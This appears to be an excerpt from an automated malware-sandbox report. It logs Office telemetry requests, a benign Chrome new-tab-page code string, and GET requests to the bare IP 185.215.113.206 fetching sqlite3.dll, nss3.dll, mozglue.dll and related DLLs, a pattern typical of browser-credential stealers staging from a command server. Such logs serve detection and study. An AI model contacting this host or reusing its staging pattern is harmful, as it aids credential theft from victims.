Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: chrome.exe, 00000001.00000003.1851976764.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1852155589.00002B4400F54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1852085159.00002B4400F88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style 